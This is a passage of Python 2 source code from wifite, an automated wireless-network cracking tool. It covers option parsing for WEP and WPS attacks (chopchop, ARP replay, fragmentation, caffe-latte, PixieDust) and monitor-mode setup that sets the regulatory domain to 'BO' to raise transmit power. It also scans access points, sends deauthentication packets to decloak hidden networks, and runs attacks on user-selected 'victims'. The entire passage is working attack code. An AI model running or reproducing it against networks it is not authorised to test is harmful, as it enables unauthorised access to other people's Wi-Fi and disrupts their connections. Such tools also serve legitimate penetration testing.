  713. wep_group.add_argument('--wept', help='Sec to wait for each attack, 0 implies endless.', action='store',
  714. dest='wept')
  715. wep_group.add_argument('-wept', help=argparse.SUPPRESS, action='store', dest='wept')
  716. wep_group.add_argument('--chopchop', help='Use chopchop attack.', default=False, action='store_true',
  717. dest='chopchop')
  718. wep_group.add_argument('-chopchop', help=argparse.SUPPRESS, default=False, action='store_true', dest='chopchop')
  719. wep_group.add_argument('--arpreplay', help='Use arpreplay attack.', default=False, action='store_true',
  720. dest='arpreplay')
  721. wep_group.add_argument('-arpreplay', help=argparse.SUPPRESS, default=False, action='store_true',
  722. dest='arpreplay')
  723. wep_group.add_argument('--fragment', help='Use fragmentation attack.', default=False, action='store_true',
  724. dest='fragment')
  725. wep_group.add_argument('-fragment', help=argparse.SUPPRESS, default=False, action='store_true', dest='fragment')
  726. wep_group.add_argument('--caffelatte', help='Use caffe-latte attack.', default=False, action='store_true',
  727. dest='caffeelatte')
  728. wep_group.add_argument('-caffelatte', help=argparse.SUPPRESS, default=False, action='store_true',
  729. dest='caffeelatte')
  730. wep_group.add_argument('--p0841', help='Use P0842 attack.', default=False, action='store_true', dest='p0841')
  731. wep_group.add_argument('-p0841', help=argparse.SUPPRESS, default=False, action='store_true', dest='p0841')
  732. wep_group.add_argument('--hirte', help='Use hirte attack.', default=False, action='store_true', dest='hirte')
  733. wep_group.add_argument('-hirte', help=argparse.SUPPRESS, default=False, action='store_true', dest='hirte')
  734. wep_group.add_argument('--nofakeauth', help='Stop attack if fake authentication fails.', default=False,
  735. action='store_true', dest='fakeauth')
  736. wep_group.add_argument('-nofakeauth', help=argparse.SUPPRESS, default=False, action='store_true',
  737. dest='fakeauth')
  738. wep_group.add_argument('--wepca', help='Start cracking when number of IVs surpass [n].', action='store',
  739. dest='wepca')
  740. wep_group.add_argument('-wepca', help=argparse.SUPPRESS, action='store', dest='wepca')
  741. wep_group.add_argument('--wepsave', help='Save a copy of .cap files to this directory.', default=None,
  742. action='store', dest='wepsave')
  743. wep_group.add_argument('-wepsave', help=argparse.SUPPRESS, default=None, action='store', dest='wepsave')
  744. # set WPS commands
  745. wps_group = option_parser.add_argument_group('WPS')
  746. wps_group.add_argument('--wps', help='Only target WPS networks.', default=False, action='store_true',
  747. dest='wps')
  748. wps_group.add_argument('-wps', help=argparse.SUPPRESS, default=False, action='store_true', dest='wps')
  749. wps_group.add_argument('--pixie', help='Only use the WPS PixieDust attack', default=False, action='store_true', dest='pixie')
  750. wps_group.add_argument('--wpst', help='Max wait for new retry before giving up (0: never).', action='store',
  751. dest='wpst')
  752. wps_group.add_argument('-wpst', help=argparse.SUPPRESS, action='store', dest='wpst')
  753. wps_group.add_argument('--wpsratio', help='Min ratio of successful PIN attempts/total retries.', action='store',
  754. dest='wpsratio')
  755. wps_group.add_argument('-wpsratio', help=argparse.SUPPRESS, action='store', dest='wpsratio')
  756. wps_group.add_argument('--wpsretry', help='Max number of retries for same PIN before giving up.',
  757. action='store', dest='wpsretry')
  758. wps_group.add_argument('-wpsretry', help=argparse.SUPPRESS, action='store', dest='wpsretry')
  759.  
  760. return option_parser
  761.  
  762.  
  763. class RunEngine:
  764. def __init__(self, run_config):
  765. self.RUN_CONFIG = run_config
  766. self.RUN_CONFIG.RUN_ENGINE = self
  767.  
  768. def initial_check(self):
  769. """
  770. Ensures required programs are installed.
  771. """
  772. airs = ['aircrack-ng', 'airodump-ng', 'aireplay-ng', 'airmon-ng', 'packetforge-ng']
  773. for air in airs:
  774. if program_exists(air): continue
  775. print R + ' [!]' + O + ' required program not found: %s' % (R + air + W)
  776. print R + ' [!]' + O + ' this program is bundled with the aircrack-ng suite:' + W
  777. print R + ' [!]' + O + ' ' + C + 'http://www.aircrack-ng.org/' + W
  778. print R + ' [!]' + O + ' or: ' + W + 'sudo apt-get install aircrack-ng\n' + W
  779. self.RUN_CONFIG.exit_gracefully(1)
  780.  
  781. if not program_exists('iw'):
  782. print R + ' [!]' + O + ' airmon-ng requires the program %s\n' % (R + 'iw' + W)
  783. self.RUN_CONFIG.exit_gracefully(1)
  784.  
  785. if not program_exists('iwconfig'):
  786. print R + ' [!]' + O + ' wifite requires the program %s\n' % (R + 'iwconfig' + W)
  787. self.RUN_CONFIG.exit_gracefully(1)
  788.  
  789. if not program_exists('ifconfig'):
  790. print R + ' [!]' + O + ' wifite requires the program %s\n' % (R + 'ifconfig' + W)
  791. self.RUN_CONFIG.exit_gracefully(1)
  792.  
  793. printed = False
  794. # Check reaver
  795. if not program_exists('reaver'):
  796. printed = True
  797. print R + ' [!]' + O + ' the program ' + R + 'reaver' + O + ' is required for WPS attacks' + W
  798. print R + ' ' + O + ' available at ' + C + 'http://code.google.com/p/reaver-wps' + W
  799. self.RUN_CONFIG.WPS_DISABLE = True
  800.  
  801. if not program_exists('tshark'):
  802. printed = True
  803. print R + ' [!]' + O + ' the program ' + R + 'tshark' + O + ' was not found' + W
  804. print R + ' [!]' + O + ' please install tshark: https://www.wireshark.org/#download' + W
  805. self.RUN_CONFIG.WPS_DISABLE = True
  806.  
  807. # Check handshake-checking apps
  808. recs = ['pyrit', 'cowpatty']
  809. for rec in recs:
  810. if program_exists(rec): continue
  811. printed = True
  812. print R + ' [!]' + O + ' the program %s is not required, but is recommended%s' % (R + rec + O, W)
  813. if printed: print ''
  814.  
  815. def enable_monitor_mode(self, iface):
  816. """
  817. First attempts to anonymize the MAC if requested; MACs cannot
  818. be anonymized if they're already in monitor mode.
  819. Uses airmon-ng to put a device into Monitor Mode.
  820. Then uses the get_iface() method to retrieve the new interface's name.
  821. Sets global variable IFACE_TO_TAKE_DOWN as well.
  822. Returns the name of the interface in monitor mode.
  823. """
  824. mac_anonymize(iface)
  825. print GR + ' [+]' + W + ' enabling monitor mode on %s...' % (G + iface + W),
  826. stdout.flush()
  827. call(['airmon-ng', 'start', iface], stdout=DN, stderr=DN)
  828. print 'done'
  829. self.RUN_CONFIG.WIRELESS_IFACE = '' # remove this reference as we've started its monitoring counterpart
  830. self.RUN_CONFIG.IFACE_TO_TAKE_DOWN = self.get_iface()
  831. if self.RUN_CONFIG.TX_POWER > 0:
  832. print GR + ' [+]' + W + ' setting Tx power to %s%s%s...' % (G, self.RUN_CONFIG.TX_POWER, W),
  833. call(['iw', 'reg', 'set', 'BO'], stdout=OUTLOG, stderr=ERRLOG)
  834. call(['iwconfig', iface, 'txpower', self.RUN_CONFIG.TX_POWER], stdout=OUTLOG, stderr=ERRLOG)
  835. print 'done'
  836. return self.RUN_CONFIG.IFACE_TO_TAKE_DOWN
  837.  
  838. def disable_monitor_mode(self):
  839. """
  840. The program may have enabled monitor mode on a wireless interface.
  841. We want to disable this before we exit, so we will do that.
  842. """
  843. if self.RUN_CONFIG.IFACE_TO_TAKE_DOWN == '': return
  844. print GR + ' [+]' + W + ' disabling monitor mode on %s...' % (G + self.RUN_CONFIG.IFACE_TO_TAKE_DOWN + W),
  845. stdout.flush()
  846. call(['airmon-ng', 'stop', self.RUN_CONFIG.IFACE_TO_TAKE_DOWN], stdout=DN, stderr=DN)
  847. print 'done'
  848.  
  849. def rtl8187_fix(self, iface):
  850. """
  851. Attempts to solve "Unknown error 132" common with RTL8187 devices.
  852. Puts down interface, unloads/reloads driver module, then puts iface back up.
  853. Returns True if fix was attempted, False otherwise.
  854. """
  855. # Check if current interface is using the RTL8187 chipset
  856. proc_airmon = Popen(['airmon-ng'], stdout=PIPE, stderr=DN)
  857. proc_airmon.wait()
  858. using_rtl8187 = False
  859. for line in proc_airmon.communicate()[0].split():
  860. line = line.upper()
  861. if line.strip() == '' or line.startswith('INTERFACE'): continue
  862. if line.find(iface.upper()) and line.find('RTL8187') != -1: using_rtl8187 = True
  863.  
  864. if not using_rtl8187:
  865. # Display error message and exit
  866. print R + ' [!]' + O + ' unable to generate airodump-ng CSV file' + W
  867. print R + ' [!]' + O + ' you may want to disconnect/reconnect your wifi device' + W
  868. self.RUN_CONFIG.exit_gracefully(1)
  869.  
  870. print O + " [!]" + W + " attempting " + O + "RTL8187 'Unknown Error 132'" + W + " fix..."
  871.  
  872. original_iface = iface
  873. # Take device out of monitor mode
  874. airmon = Popen(['airmon-ng', 'stop', iface], stdout=PIPE, stderr=DN)
  875. airmon.wait()
  876. for line in airmon.communicate()[0].split('\n'):
  877. if line.strip() == '' or \
  878. line.startswith("Interface") or \
  879. line.find('(removed)') != -1:
  880. continue
  881. original_iface = line.split()[0] # line[:line.find('\t')]
  882.  
  883. # Remove drive modules, block/unblock ifaces, probe new modules.
  884. print_and_exec(['ifconfig', original_iface, 'down'])
  885. print_and_exec(['rmmod', 'rtl8187'])
  886. print_and_exec(['rfkill', 'block', 'all'])
  887. print_and_exec(['rfkill', 'unblock', 'all'])
  888. print_and_exec(['modprobe', 'rtl8187'])
  889. print_and_exec(['ifconfig', original_iface, 'up'])
  890. print_and_exec(['airmon-ng', 'start', original_iface])
  891.  
  892. print '\r \r',
  893. print O + ' [!] ' + W + 'restarting scan...\n'
  894.  
  895. return True
  896.  
  897. def get_iface(self):
  898. """
  899. Get the wireless interface in monitor mode.
  900. Defaults to only device in monitor mode if found.
  901. Otherwise, enumerates list of possible wifi devices
  902. and asks user to select one to put into monitor mode (if multiple).
  903. Uses airmon-ng to put device in monitor mode if needed.
  904. Returns the name (string) of the interface chosen in monitor mode.
  905. """
  906. if not self.RUN_CONFIG.PRINTED_SCANNING:
  907. print GR + ' [+]' + W + ' scanning for wireless devices...'
  908. self.RUN_CONFIG.PRINTED_SCANNING = True
  909.  
  910. proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN)
  911. iface = ''
  912. monitors = []
  913. adapters = []
  914. for line in proc.communicate()[0].split('\n'):
  915. if len(line) == 0: continue
  916. if ord(line[0]) != 32: # Doesn't start with space
  917. iface = line[:line.find(' ')] # is the interface
  918. if line.find('Mode:Monitor') != -1:
  919. monitors.append(iface)
  920. else:
  921. adapters.append(iface)
  922.  
  923. if self.RUN_CONFIG.WIRELESS_IFACE != '':
  924. if monitors.count(self.RUN_CONFIG.WIRELESS_IFACE):
  925. return self.RUN_CONFIG.WIRELESS_IFACE
  926. else:
  927. if self.RUN_CONFIG.WIRELESS_IFACE in adapters:
  928. # valid adapter, enable monitor mode
  929. print R + ' [!]' + O + ' could not find wireless interface %s in monitor mode' % (
  930. R + '"' + R + self.RUN_CONFIG.WIRELESS_IFACE + '"' + O)
  931. return self.enable_monitor_mode(self.RUN_CONFIG.WIRELESS_IFACE)
  932. else:
  933. # couldnt find the requested adapter
  934. print R + ' [!]' + O + ' could not find wireless interface %s' % (
  935. '"' + R + self.RUN_CONFIG.WIRELESS_IFACE + O + '"' + W)
  936. self.RUN_CONFIG.exit_gracefully(0)
  937.  
  938. if len(monitors) == 1:
  939. return monitors[0] # Default to only device in monitor mode
  940. elif len(monitors) > 1:
  941. print GR + " [+]" + W + " interfaces in " + G + "monitor mode:" + W
  942. for i, monitor in enumerate(monitors):
  943. print " %s. %s" % (G + str(i + 1) + W, G + monitor + W)
  944. ri = raw_input("%s [+]%s select %snumber%s of interface to use for capturing (%s1-%d%s): %s" % \
  945. (GR, W, G, W, G, len(monitors), W, G))
  946. while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors):
  947. ri = raw_input("%s [+]%s select number of interface to use for capturing (%s1-%d%s): %s" % \
  948. (GR, W, G, len(monitors), W, G))
  949. i = int(ri)
  950. return monitors[i - 1]
  951.  
  952. proc = Popen(['airmon-ng'], stdout=PIPE, stderr=DN)
  953. for line in proc.communicate()[0].split('\n'):
  954. if len(line) == 0 or line.startswith('Interface') or line.startswith('PHY'): continue
  955. monitors.append(line)
  956.  
  957. if len(monitors) == 0:
  958. print R + ' [!]' + O + " no wireless interfaces were found." + W
  959. print R + ' [!]' + O + " you need to plug in a wifi device or install drivers.\n" + W
  960. self.RUN_CONFIG.exit_gracefully(0)
  961. elif self.RUN_CONFIG.WIRELESS_IFACE != '' and monitors.count(self.RUN_CONFIG.WIRELESS_IFACE) > 0:
  962. monitor = monitors[0][:monitors[0].find('\t')]
  963. return self.enable_monitor_mode(monitor)
  964.  
  965. elif len(monitors) == 1:
  966. monitor = monitors[0][:monitors[0].find('\t')]
  967. if monitor.startswith('phy'): monitor = monitors[0].split()[1]
  968. return self.enable_monitor_mode(monitor)
  969.  
  970. print GR + " [+]" + W + " available wireless devices:"
  971. for i, monitor in enumerate(monitors):
  972. print " %s%d%s. %s" % (G, i + 1, W, monitor)
  973.  
  974. ri = raw_input(
  975. GR + " [+]" + W + " select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W))
  976. while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors):
  977. ri = raw_input(" [+] select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W))
  978. i = int(ri)
  979. monitor = monitors[i - 1][:monitors[i - 1].find('\t')]
  980.  
  981. return self.enable_monitor_mode(monitor)
  982.  
  983. def scan(self, channel=0, iface='', tried_rtl8187_fix=False):
  984. """
  985. Scans for access points. Asks user to select target(s).
  986. "channel" - the channel to scan on, 0 scans all channels.
  987. "iface" - the interface to scan on. must be a real interface.
  988. "tried_rtl8187_fix" - We have already attempted to fix "Unknown error 132"
  989. Returns list of selected targets and list of clients.
  990. """
  991. airodump_file_prefix = os.path.join(self.RUN_CONFIG.temp, 'wifite')
  992. csv_file = airodump_file_prefix + '-01.csv'
  993. cap_file = airodump_file_prefix + '-01.cap'
  994. remove_airodump_files(airodump_file_prefix)
  995.  
  996. command = ['airodump-ng',
  997. '-a', # only show associated clients
  998. '--write-interval', '1', # Write every second
  999. '-w', airodump_file_prefix] # output file
  1000. if channel != 0:
  1001. command.append('-c')
  1002. command.append(str(channel))
  1003. command.append(iface)
  1004.  
  1005. proc = Popen(command, stdout=DN, stderr=DN)
  1006.  
  1007. time_started = time.time()
  1008. print GR + ' [+] ' + G + 'initializing scan' + W + ' (' + G + iface + W + '), updates at 1 sec intervals, ' + G + 'CTRL+C' + W + ' when ready.'
  1009. (targets, clients) = ([], [])
  1010. try:
  1011. deauth_sent = 0.0
  1012. old_targets = []
  1013. stop_scanning = False
  1014. while True:
  1015. time.sleep(0.3)
  1016. if not os.path.exists(csv_file) and time.time() - time_started > 1.0:
  1017. print R + '\n [!] ERROR!' + W
  1018. # RTL8187 Unknown Error 132 FIX
  1019. if proc.poll() is not None: # Check if process has finished
  1020. proc = Popen(['airodump-ng', iface], stdout=DN, stderr=PIPE)
  1021. if not tried_rtl8187_fix and proc.communicate()[1].find('failed: Unknown error 132') != -1:
  1022. send_interrupt(proc)
  1023. if self.rtl8187_fix(iface):
  1024. return self.scan(channel=channel, iface=iface, tried_rtl8187_fix=True)
  1025. print R + ' [!]' + O + ' wifite is unable to generate airodump-ng output files' + W
  1026. print R + ' [!]' + O + ' you may want to disconnect/reconnect your wifi device' + W
  1027. self.RUN_CONFIG.exit_gracefully(1)
  1028.  
  1029. (targets, clients) = self.parse_csv(csv_file)
  1030.  
  1031. # Remove any already cracked networks if configured to do so
  1032. if self.RUN_CONFIG.SHOW_ALREADY_CRACKED == False:
  1033. index = 0
  1034. while index < len(targets):
  1035. already = False
  1036. for cracked in self.RUN_CONFIG.CRACKED_TARGETS:
  1037. if targets[index].ssid.lower() == cracked.ssid.lower():
  1038. already = True
  1039. if targets[index].bssid.lower() == cracked.bssid.lower():
  1040. already = True
  1041. if already == True:
  1042. targets.pop(index)
  1043. index -= 1
  1044. index += 1
  1045.  
  1046. # If we are targeting a specific ESSID/BSSID, skip the scan once we find it.
  1047. if self.RUN_CONFIG.TARGET_ESSID != '':
  1048. for t in targets:
  1049. if t.ssid.lower() == self.RUN_CONFIG.TARGET_ESSID.lower():
  1050. send_interrupt(proc)
  1051. try:
  1052. os.kill(proc.pid, SIGTERM)
  1053. except OSError:
  1054. pass
  1055. except UnboundLocalError:
  1056. pass
  1057. targets = [t]
  1058. stop_scanning = True
  1059. break
  1060. if self.RUN_CONFIG.TARGET_BSSID != '':
  1061. for t in targets:
  1062. if t.bssid.lower() == self.RUN_CONFIG.TARGET_BSSID.lower():
  1063. send_interrupt(proc)
  1064. try:
  1065. os.kill(proc.pid, SIGTERM)
  1066. except OSError:
  1067. pass
  1068. except UnboundLocalError:
  1069. pass
  1070. targets = [t]
  1071. stop_scanning = True
  1072. break
  1073.  
  1074. # If user has chosen to target all access points, wait 20 seconds, then return all
  1075. if self.RUN_CONFIG.ATTACK_ALL_TARGETS and time.time() - time_started > 10:
  1076. print GR + '\n [+]' + W + ' auto-targeted %s%d%s access point%s' % (
  1077. G, len(targets), W, '' if len(targets) == 1 else 's')
  1078. stop_scanning = True
  1079.  
  1080. if self.RUN_CONFIG.ATTACK_MIN_POWER > 0 and time.time() - time_started > 10:
  1081. # Remove targets with power < threshold
  1082. i = 0
  1083. before_count = len(targets)
  1084. while i < len(targets):
  1085. if targets[i].power < self.RUN_CONFIG.ATTACK_MIN_POWER:
  1086. targets.pop(i)
  1087. else:
  1088. i += 1
  1089. print GR + '\n [+]' + W + ' removed %s targets with power < %ddB, %s remain' % \
  1090. (G + str(before_count - len(targets)) + W,
  1091. self.RUN_CONFIG.ATTACK_MIN_POWER, G + str(len(targets)) + W)
  1092. stop_scanning = True
  1093.  
  1094. if stop_scanning: break
  1095.  
  1096. # If there are unknown SSIDs, send deauths to them.
  1097. if self.RUN_CONFIG.SEND_DEAUTHS and channel != 0 and time.time() - deauth_sent > 5:
  1098. deauth_sent = time.time()
  1099. for t in targets:
  1100. if t.ssid == '' or '\x00' in t.ssid or '\\x00' in t.ssid:
  1101. print "\r %s deauthing hidden access point (%s) \r" % \
  1102. (GR + sec_to_hms(time.time() - time_started) + W, G + t.bssid + W),
  1103. stdout.flush()
  1104. # Time to deauth
  1105. cmd = ['aireplay-ng',
  1106. '--ignore-negative-one',
  1107. '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),
  1108. '-a', t.bssid]
  1109. for c in clients:
  1110. if c.station == t.bssid:
  1111. cmd.append('-c')
  1112. cmd.append(c.bssid)
  1113. break
  1114. cmd.append(iface)
  1115. proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
  1116. proc_aireplay.wait()
  1117. time.sleep(0.5)
  1118. else:
  1119. for ot in old_targets:
  1120. if ot.ssid == '' and ot.bssid == t.bssid:
  1121. print '\r %s successfully decloaked "%s" ' % \
  1122. (GR + sec_to_hms(time.time() - time_started) + W, G + t.ssid + W)
  1123.  
  1124. old_targets = targets[:]
  1125. if self.RUN_CONFIG.VERBOSE_APS and len(targets) > 0:
  1126. targets = sorted(targets, key=lambda t: t.power, reverse=True)
  1127. if not self.RUN_CONFIG.WPS_DISABLE:
  1128. wps_check_targets(targets, cap_file, verbose=False)
  1129.  
  1130. os.system('clear')
  1131. print GR + '\n [+] ' + G + 'scanning' + W + ' (' + G + iface + W + '), updates at 1 sec intervals, ' + G + 'CTRL+C' + W + ' when ready.\n'
  1132. print " NUM ESSID %sCH ENCR POWER WPS? CLIENT" % (
  1133. 'BSSID ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
  1134. print ' --- -------------------- %s-- ---- ----- ---- ------' % (
  1135. '----------------- ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
  1136. for i, target in enumerate(targets):
  1137. print " %s%2d%s " % (G, i + 1, W),
  1138. # SSID
  1139. if target.ssid == '' or '\x00' in target.ssid or '\\x00' in target.ssid:
  1140. p = O + '(' + target.bssid + ')' + GR + ' ' + W
  1141. print '%s' % p.ljust(20),
  1142. elif len(target.ssid) <= 20:
  1143. print "%s" % C + target.ssid.ljust(20) + W,
  1144. else:
  1145. print "%s" % C + target.ssid[0:17] + '...' + W,
  1146. # BSSID
  1147. if self.RUN_CONFIG.SHOW_MAC_IN_SCAN:
  1148. print O, target.bssid + W,
  1149. # Channel
  1150. print G + target.channel.rjust(3), W,
  1151. # Encryption
  1152. if target.encryption.find("WEP") != -1:
  1153. print G,
  1154. else:
  1155. print O,
  1156. print "\b%3s" % target.encryption.strip().ljust(4) + W,
  1157. # Power
  1158. if target.power >= 55:
  1159. col = G
  1160. elif target.power >= 40:
  1161. col = O
  1162. else:
  1163. col = R
  1164. print "%s%3ddb%s" % (col, target.power, W),
  1165. # WPS
  1166. if self.RUN_CONFIG.WPS_DISABLE:
  1167. print " %3s" % (O + 'n/a' + W),
  1168. else:
  1169. print " %3s" % (G + 'wps' + W if target.wps else R + ' no' + W),
  1170. # Clients
  1171. client_text = ''
  1172. for c in clients:
  1173. if c.station == target.bssid:
  1174. if client_text == '':
  1175. client_text = 'client'
  1176. elif client_text[-1] != "s":
  1177. client_text += "s"
  1178. if client_text != '':
  1179. print ' %s' % (G + client_text + W)
  1180. else:
  1181. print ''
  1182. print ''
  1183. print ' %s %s wireless networks. %s target%s and %s client%s found \r' % (
  1184. GR + sec_to_hms(time.time() - time_started) + W, G + 'scanning' + W,
  1185. G + str(len(targets)) + W, '' if len(targets) == 1 else 's',
  1186. G + str(len(clients)) + W, '' if len(clients) == 1 else 's'),
  1187.  
  1188. stdout.flush()
  1189. except KeyboardInterrupt:
  1190. pass
  1191. print ''
  1192.  
  1193. send_interrupt(proc)
  1194. try:
  1195. os.kill(proc.pid, SIGTERM)
  1196. except OSError:
  1197. pass
  1198. except UnboundLocalError:
  1199. pass
  1200.  
  1201. # Use "tshark" program to check for WPS compatibility
  1202. if not self.RUN_CONFIG.WPS_DISABLE:
  1203. wps_check_targets(targets, cap_file)
  1204.  
  1205. remove_airodump_files(airodump_file_prefix)
  1206.  
  1207. if stop_scanning:
  1208. return (targets, clients)
  1209. print ''
  1210.  
  1211. if len(targets) == 0:
  1212. print R + ' [!]' + O + ' no targets found!' + W
  1213. print R + ' [!]' + O + ' you may need to wait for targets to show up.' + W
  1214. print ''
  1215. self.RUN_CONFIG.exit_gracefully(1)
  1216.  
  1217. if self.RUN_CONFIG.VERBOSE_APS: os.system('clear')
  1218.  
  1219. # Sort by Power
  1220. targets = sorted(targets, key=lambda t: t.power, reverse=True)
  1221.  
  1222. victims = []
  1223. print " NUM ESSID %sCH ENCR POWER WPS? CLIENT" % (
  1224. 'BSSID ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
  1225. print ' --- -------------------- %s-- ---- ----- ---- ------' % (
  1226. '----------------- ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
  1227. for i, target in enumerate(targets):
  1228. print " %s%2d%s " % (G, i + 1, W),
  1229. # SSID
  1230. if target.ssid == '' or '\x00' in target.ssid or '\\x00' in target.ssid:
  1231. p = O + '(' + target.bssid + ')' + GR + ' ' + W
  1232. print '%s' % p.ljust(20),
  1233. elif len(target.ssid) <= 20:
  1234. print "%s" % C + target.ssid.ljust(20) + W,
  1235. else:
  1236. print "%s" % C + target.ssid[0:17] + '...' + W,
  1237. # BSSID
  1238. if self.RUN_CONFIG.SHOW_MAC_IN_SCAN:
  1239. print O, target.bssid + W,
  1240. # Channel
  1241. print G + target.channel.rjust(3), W,
  1242. # Encryption
  1243. if target.encryption.find("WEP") != -1:
  1244. print G,
  1245. else:
  1246. print O,
  1247. print "\b%3s" % target.encryption.strip().ljust(4) + W,
  1248. # Power
  1249. if target.power >= 55:
  1250. col = G
  1251. elif target.power >= 40:
  1252. col = O
  1253. else:
  1254. col = R
  1255. print "%s%3ddb%s" % (col, target.power, W),
  1256. # WPS
  1257. if self.RUN_CONFIG.WPS_DISABLE:
  1258. print " %3s" % (O + 'n/a' + W),
  1259. else:
  1260. print " %3s" % (G + 'wps' + W if target.wps else R + ' no' + W),
  1261. # Clients
  1262. client_text = ''
  1263. for c in clients:
  1264. if c.station == target.bssid:
  1265. if client_text == '':
  1266. client_text = 'client'
  1267. elif client_text[-1] != "s":
  1268. client_text += "s"
  1269. if client_text != '':
  1270. print ' %s' % (G + client_text + W)
  1271. else:
  1272. print ''
  1273.  
  1274. ri = raw_input(
  1275. GR + "\n [+]" + W + " select " + G + "target numbers" + W + " (" + G + "1-%s)" % (str(len(targets)) + W) + \
  1276. " separated by commas, or '%s': " % (G + 'all' + W))
  1277. if ri.strip().lower() == 'all':
  1278. victims = targets[:]
  1279. else:
  1280. for r in ri.split(','):
  1281. r = r.strip()
  1282. if r.find('-') != -1:
  1283. (sx, sy) = r.split('-')
  1284. if sx.isdigit() and sy.isdigit():
  1285. x = int(sx)
  1286. y = int(sy) + 1
  1287. for v in xrange(x, y):
  1288. victims.append(targets[v - 1])
  1289. elif not r.isdigit() and r.strip() != '':
  1290. print O + " [!]" + R + " not a number: %s " % (O + r + W)
  1291. elif r != '':
  1292. victims.append(targets[int(r) - 1])
  1293.  
  1294. if len(victims) == 0:
  1295. print O + '\n [!] ' + R + 'no targets selected.\n' + W
  1296. self.RUN_CONFIG.exit_gracefully(0)
  1297.  
  1298. print ''
  1299. print ' [+] %s%d%s target%s selected.' % (G, len(victims), W, '' if len(victims) == 1 else 's')
  1300.  
  1301. return (victims, clients)
  1302.  
  1303. def Start(self):
  1304. self.RUN_CONFIG.CreateTempFolder()
  1305. self.RUN_CONFIG.handle_args()
  1306. self.RUN_CONFIG.ConfirmRunningAsRoot()
  1307. self.RUN_CONFIG.ConfirmCorrectPlatform()
  1308.  
  1309. self.initial_check() # Ensure required programs are installed.
  1310.  
  1311. # Use an interface already in monitor mode if it has been provided,
  1312. if self.RUN_CONFIG.MONITOR_IFACE != '':
  1313. iface = self.RUN_CONFIG.MONITOR_IFACE
  1314. else:
  1315. # The "get_iface" method anonymizes the MAC address (if needed)
  1316. # and puts the interface into monitor mode.
  1317. iface = self.get_iface()
  1318. self.RUN_CONFIG.THIS_MAC = get_mac_address(iface) # Store current MAC address
  1319.  
  1320. (targets, clients) = self.scan(iface=iface, channel=self.RUN_CONFIG.TARGET_CHANNEL)
  1321.  
  1322. try:
  1323. index = 0
  1324. while index < len(targets):
  1325. target = targets[index]
  1326. # Check if we have already cracked this target
  1327. for already in RUN_CONFIG.CRACKED_TARGETS:
  1328. if already.bssid == targets[index].bssid:
  1329. if RUN_CONFIG.SHOW_ALREADY_CRACKED == True:
  1330. print R + '\n [!]' + O + ' you have already cracked this access point\'s key!' + W
  1331. print R + ' [!] %s' % (C + already.ssid + W + ': "' + G + already.key + W + '"')
  1332. ri = raw_input(
  1333. GR + ' [+] ' + W + 'do you want to crack this access point again? (' + G + 'y/' + O + 'n' + W + '): ')
  1334. if ri.lower() == 'n':
  1335. targets.pop(index)
  1336. index -= 1
  1337. else:
  1338. targets.pop(index)
  1339. index -= 1
  1340. break
  1341.  
  1342. # Check if handshakes already exist, ask user whether to skip targets or save new handshakes
  1343. handshake_file = RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', target.ssid) \
  1344. + '_' + target.bssid.replace(':', '-') + '.cap'
  1345. if os.path.exists(handshake_file):
  1346. print R + '\n [!] ' + O + 'you already have a handshake file for %s:' % (C + target.ssid + W)
  1347. print ' %s\n' % (G + handshake_file + W)
  1348. print GR + ' [+]' + W + ' do you want to ' + G + '[s]kip' + W + ', ' + O + '[c]apture again' + W + ', or ' + R + '[o]verwrite' + W + '?'
  1349. ri = 'x'
  1350. while ri != 's' and ri != 'c' and ri != 'o':
  1351. ri = raw_input(
  1352. GR + ' [+] ' + W + 'enter ' + G + 's' + W + ', ' + O + 'c,' + W + ' or ' + R + 'o' + W + ': ' + G).lower()
  1353. print W + "\b",
  1354. if ri == 's':
  1355. targets.pop(index)
  1356. index -= 1
  1357. elif ri == 'o':
  1358. remove_file(handshake_file)
  1359. continue
  1360. index += 1
  1361.  
  1362.  
  1363. except KeyboardInterrupt:
  1364. print '\n ' + R + '(^C)' + O + ' interrupted\n'
  1365. self.RUN_CONFIG.exit_gracefully(0)
  1366.  
  1367. wpa_success = 0
  1368. wep_success = 0
  1369. wpa_total = 0
  1370. wep_total = 0
  1371.  
  1372. self.RUN_CONFIG.TARGETS_REMAINING = len(targets)
  1373. for t in targets:
  1374. self.RUN_CONFIG.TARGETS_REMAINING -= 1
  1375.  
  1376. # Build list of clients connected to target
  1377. ts_clients = []
  1378. for c in clients:
  1379. if c.station == t.bssid:
  1380. ts_clients.append(c)
  1381.  
  1382. print ''
  1383. if t.encryption.find('WPA') != -1:
  1384. need_handshake = True
  1385. if not self.RUN_CONFIG.WPS_DISABLE and t.wps:
  1386. wps_attack = WPSAttack(iface, t, self.RUN_CONFIG)
  1387. need_handshake = not wps_attack.RunAttack()
  1388. wpa_total += 1
  1389.  
  1390. if not need_handshake: wpa_success += 1
  1391. if self.RUN_CONFIG.TARGETS_REMAINING < 0: break
  1392.  
  1393. if not self.RUN_CONFIG.PIXIE and not self.RUN_CONFIG.WPA_DISABLE and need_handshake:
  1394. wpa_total += 1
  1395. wpa_attack = WPAAttack(iface, t, ts_clients, self.RUN_CONFIG)
  1396. if wpa_attack.RunAttack():
  1397. wpa_success += 1
  1398.  
  1399. elif t.encryption.find('WEP') != -1:
  1400. wep_total += 1
  1401. wep_attack = WEPAttack(iface, t, ts_clients, self.RUN_CONFIG)
  1402. if wep_attack.RunAttack():
  1403. wep_success += 1
  1404.  
  1405. else:
  1406. print R + ' unknown encryption:', t.encryption, W
  1407.  
  1408. # If user wants to stop attacking
  1409. if self.RUN_CONFIG.TARGETS_REMAINING <= 0: break
  1410.  
  1411. if wpa_total + wep_total > 0:
  1412. # Attacks are done! Show results to user
  1413. print ''
  1414. print GR + ' [+] %s%d attack%s completed:%s' % (
  1415. G, wpa_total + wep_total, '' if wpa_total + wep_total == 1 else 's', W)
  1416. print ''
  1417. if wpa_total > 0:
  1418. if wpa_success == 0:
  1419. print GR + ' [+]' + R,
  1420. elif wpa_success == wpa_total:
  1421. print GR + ' [+]' + G,
